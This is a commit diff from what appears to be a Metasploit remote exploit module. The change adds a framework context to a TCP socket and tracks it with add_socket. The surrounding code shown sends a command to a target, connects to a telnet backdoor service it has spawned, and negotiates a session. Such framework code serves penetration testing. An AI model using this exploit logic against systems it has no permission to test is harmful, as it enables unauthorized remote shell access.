Add Context to rex sockets plus track them with add_socket
This commit is contained in:
@@ -88,12 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
request(cmd)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
|
||||
|
||||
if sock.nil?
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
add_socket(sock)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
|
||||
Reference in New Issue
Block a user